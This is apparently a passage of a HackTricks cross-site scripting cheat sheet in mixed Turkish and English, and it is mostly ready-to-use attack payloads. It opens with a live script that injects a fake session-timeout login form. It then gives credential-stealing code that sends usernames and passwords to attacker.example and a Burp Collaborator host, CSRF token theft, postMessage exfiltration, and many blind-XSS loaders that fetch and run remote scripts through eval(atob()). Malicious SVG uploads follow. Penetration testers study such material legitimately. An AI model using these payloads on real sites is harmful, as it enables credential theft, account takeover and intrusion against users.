<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Otomatik doldurma şifrelerini yakalama

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Parola alanına herhangi bir veri girildiğinde, username ve password saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse bile hiçbir şey yazmasa dahi kimlik bilgileri sızdırılacaktır.

Eğer kritik bir handler (e.g., function DoLogin(){...}) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha erken çalışıyorsa (e.g., via an inline JS-in-JS sink), aynı isimle bir const tanımlayarak handler'ı önceden ele geçirip kilitleyin. Daha sonraki function declarations bir const ismini yeniden bağlayamaz; böylece hook kontrolü elinde tutar:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notlar

  • Bu, yürütme sırasına dayanır: injection'ınız meşru deklarasyondan önce çalışmalıdır.
  • Eğer payload'unuz eval(...) ile sarılmışsa, const/let bindings global olmaz. Gerçek bir true global, non-rebindable binding sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances”'daki dynamic <script> injection tekniğini kullanın.
  • Anahtar kelime filtreleri kodu engellediğinde, Unicode-escaped identifiers veya eval(atob('...')) delivery ile birleştirin, yukarıda gösterildiği gibi.

Keylogger

Sadece github'da arama yapınca birkaç farklı tane buldum:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage mesajlarını çalma

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Service Workers'ı Kötüye Kullanma

Abusing Service Workers

Shadow DOM'a Erişim

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Ayrıca şu adresi de kullanabilirsiniz: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Gizli İçeriğe Erişim

From this writeup üzerinden öğrenilebileceği gibi bazı değerler JS'ten kaybolsa bile, bunları farklı nesnelerdeki JS attributes içinde bulmak hâlâ mümkün. Örneğin, bir REGEX input'u, regex inputunun değeri kaldırıldıktan sonra bile bulunabilir:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS ile diğer zafiyetleri suistimal etme

XSS in Markdown

Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Kontrol edin:

XSS in Markdown

XSS to SSRF

Önbellekleme kullanan bir sitede XSS mi buldunuz? Edge Side Include Injection ile bunu SSRF'e yükseltmeyi deneyin; payload:

python
<esi:include src="http://yoursite.com/capture" />

Cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını bypass etmek için kullanın!
Daha fazla bilgi için: XSLT.

Dinamik oluşturulan PDF'te XSS

Eğer bir web sayfası kullanıcı kontrollü girdilerle PDF oluşturuyorsa, PDF'yi oluşturan bot'u kandırarak herhangi bir JS kodu çalıştırmasını sağlayabilirsiniz.
Yani, eğer PDF creator bot herhangi bir HTML tags bulursa, bunları interpret edecek ve bu davranışı abuse ederek bir Server XSS tetikleyebilirsiniz.

Server Side XSS (Dynamic PDF)

Eğer HTML tags enjekte edemiyorsanız, inject PDF data denemeye değer olabilir:

PDF Injection

Amp4Email'de XSS

AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayan, işlevselliği sağlamak için JavaScript ile desteklenmiş HTML tag'larını içeren; hız ve güvenliğe vurgu yapan bir teknolojidir. Çeşitli özellikler için bir dizi bileşeni destekler; bunlara AMP components üzerinden erişilebilir.

AMP for Email formatı belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşime girmesini sağlar.

Örnek: writeup XSS in Amp4Email in Gmail.

XSS dosya yükleme (svg)

Aşağıdaki gibi bir dosyayı resim olarak yükleyin (kaynak: http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Daha fazla SVG payloads için bak: https://github.com/allanlw/svg-cheatsheet

Çeşitli JS Hileleri & İlgili Bilgiler

Misc JS Tricks & Relevant Info

XSS kaynakları

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin